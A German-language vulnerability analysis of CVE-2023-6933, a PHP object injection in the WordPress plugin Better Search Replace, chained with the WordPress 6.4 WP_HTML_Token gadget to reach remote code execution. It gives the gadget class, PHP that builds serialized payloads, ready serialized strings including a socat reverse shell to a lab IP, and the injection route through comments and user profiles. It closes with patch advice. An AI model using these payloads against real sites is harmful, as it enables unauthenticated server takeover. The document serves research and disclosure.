
# Einführung in die CVE-2023-6933-Schwachstelle
Das Plugin „Better Search Replace“ für WordPress weist eine kritische Schwachstelle auf, die als PHP-Object-Injection bekannt ist. Dieser Sicherheitsfehler ist in allen Versionen bis einschließlich 1.4.4 vorhanden. Er entsteht durch die Deserialisierung nicht vertrauenswürdiger Eingaben, wodurch nicht authentifizierte Angreifer ein PHP-Objekt in das System injizieren können. Bemerkenswert ist, dass das Plugin selbst keine PHP-Object-Injection-Kette (POI) enthält. Wenn jedoch auf dem Zielsystem ein zusätzliches verwundbares Plugin oder Theme installiert ist, das eine POI-Kette enthält, könnte diese Schwachstelle Angreifern möglicherweise ermöglichen, beliebige Dateien zu löschen, auf sensible Daten zuzugreifen oder schädlichen Code auszuführen.
In dieser Analyse behandeln wir auch die Schwachstelle in WordPress Version 6.4.0, die behoben wurde, um ein Problem mit Remote Code Execution (RCE) zu beheben. Darüber hinaus untersuchen wir die Möglichkeit, diese beiden Schwachstellen zu verketten, um eine nicht authentifizierte Remote Code Execution zu erreichen.
Um die aktuelle stabile Version des Better Search Replace Plugins herauszufinden, verwenden Sie den folgenden Befehl:
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]
Zunächst habe ich drei Docker-Container für die Analyse eingerichtet:
Um ein tieferes Verständnis der Schwachstelle zu erlangen, begann ich mit der Analyse bestimmter Commits im GitHub-Repository des Plugins „Better Search Replace“. Diese Commits enthalten möglicherweise entscheidende Informationen über die Art und die Fixes der Schwachstelle.

In dieser Funktion können wir die folgenden Parameter beobachten:
from: Dies ist der Text, der ersetzt werden soll.to: Dies stellt den Ersatztext dar.data: Dies sind die Daten, die ersetzt werden müssen.Es ist wichtig zu beachten, dass die Daten hier direkt an die Funktion $this->unserialize($data). übergeben werden.

Daher können wir hier sehen, dass die Zeichenfolge deserialisiert wird.
Um festzustellen, wo es möglich ist, ein serialisiertes Objekt in data zu injizieren, werden wir die visuelle Oberfläche des Plugins untersuchen.

Wir können daher ein serialisiertes Objekt in einer dieser Tabellen platzieren, aber wir benötigen ein verwundbares serialisiertes Objekt, um Remote Code Execution (RCE) zu erreichen.
In WordPress Version 6.4.0 wurde ein PHP-Objekt, WP_HTML_Token, eingeführt. Hier ist eine Aufschlüsselung seiner Struktur und seines Potenzials für die Ausnutzung:
main.php
<?php
class WP_HTML_Token {
public $bookmark_name = null;
public $node_name = null;
public $has_self_closing_flag = false;
public $on_destroy = null;
/**
* Constructor - creates a reference to a token in some external HTML string.
*
* @since 6.4.0
*
* @param string $bookmark_name Name of bookmark corresponding to location in HTML where token is found.
* @param string $node_name Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
* @param bool $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
* @param callable $on_destroy Function to call when destroying token, useful for releasing the bookmark.
*/
public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
$this->bookmark_name = $bookmark_name;
$this->node_name = $node_name;
$this->has_self_closing_flag = $has_self_closing_flag;
$this->on_destroy = $on_destroy;
}
public function __destruct() {
if ( is_callable( $this->on_destroy ) ) {
call_user_func( $this->on_destroy, $this->bookmark_name );
}
}
}
Die call_user_func-Funktion innerhalb der __destruct-Methode ist der Schlüssel zur Ausnutzung. Sie erfordert:
$this->on_destroy: Eine aufrufbare Funktion.
$this->bookmark_name: Ein Argument für die aufrufbare Funktion.
Um dies auszunutzen, habe ich versucht, die folgenden Zeilen am Ende von main.php hinzuzufügen (Hinweis: Kommentieren Sie die call_user_func-Zeile vor der Serialisierung aus):
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
Nun ist es möglich, die Theorie zu testen, indem man einen nicht authentifizierten Kommentar auf der Website hinzufügt.

Es ist an der Zeit, das Plugin zu nutzen, um die Deserialisierungsfunktion auszulösen.

Die Datei wurde wie erwartet erstellt, daher funktioniert die RCE während der Deserialisierung und während der Zerstörung des Objekts korrekt.

Persistenz gelöschter Kommentare: Selbst wenn ein Kommentar gelöscht wird, bleibt er in der Datenbank als 'not shown to user' markiert. Das Plugin unterscheidet jedoch nicht zwischen sichtbaren und unsichtbaren Kommentaren und deserialisiert das Objekt unabhängig davon.
Deserialisierung während des Probelaufs: Der Deserialisierungsprozess findet sogar während eines Probelaufs (Dry Run) statt, was ein erhebliches Sicherheitsversäumnis darstellt.
Erste Bewertung: Die Einstufung des Common Vulnerability Scoring System (CVSS) durch Wordfence scheint fehlerhaft zu sein. Meiner Meinung nach sollte sie bei 8.8 liegen.
Überarbeitete Bewertung: Der aktuelle CVSS-Score beträgt 9.8. Diese Bewertung übersieht jedoch die Tatsache, dass für die Code-Deserialisierung eine Benutzerinteraktion auf der richtigen Tabelle („user interaction is required on the correct table“) erforderlich ist. Um dies zu bestätigen, kontaktierte ich den Forscher Sam Pizzey, der meine Beobachtung bestätigte: Die Ausführung der Schwachstelle erfordert, dass jemand mit dem Plugin interagiert.
Für alle, die sich für Reverse-Shell-Techniken interessieren, habe ich meinen Payload angepasst, um diesen Prozess zu optimieren. Dies könnte auf Websites angewendet werden, auf denen die Registrierung für alle offen ist:
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
Einfügen des PHP-Objekts in das Profil

Anschließend habe ich einen Listener geöffnet, um auf die eingehende Verbindung zu warten.


Schließlich habe ich erfolgreich die Reverse-Shell-Verbindung empfangen.

Dieses Dokument bietet einen detaillierten Überblick über die CVE-2023-6933-Schwachstelle, einschließlich ihrer Auswirkungen, technischen Details und Abhilfestrategien. Das Verständnis und die Behebung dieser Schwachstelle sind entscheidend für die Aufrechterhaltung der Sicherheit und Integrität von WordPress-Installationen, die das Plugin „Better Search Replace“ verwenden.
Um die Schwachstelle zu beheben, aktualisieren Sie auf eine Version höher als Better Search Replace 1.4.4 und führen Sie Ihre WordPress-Updates durch.
Autor: Maxime Paillé
GitHub: w2xim3
LinkedIn: LinkedIn-Profil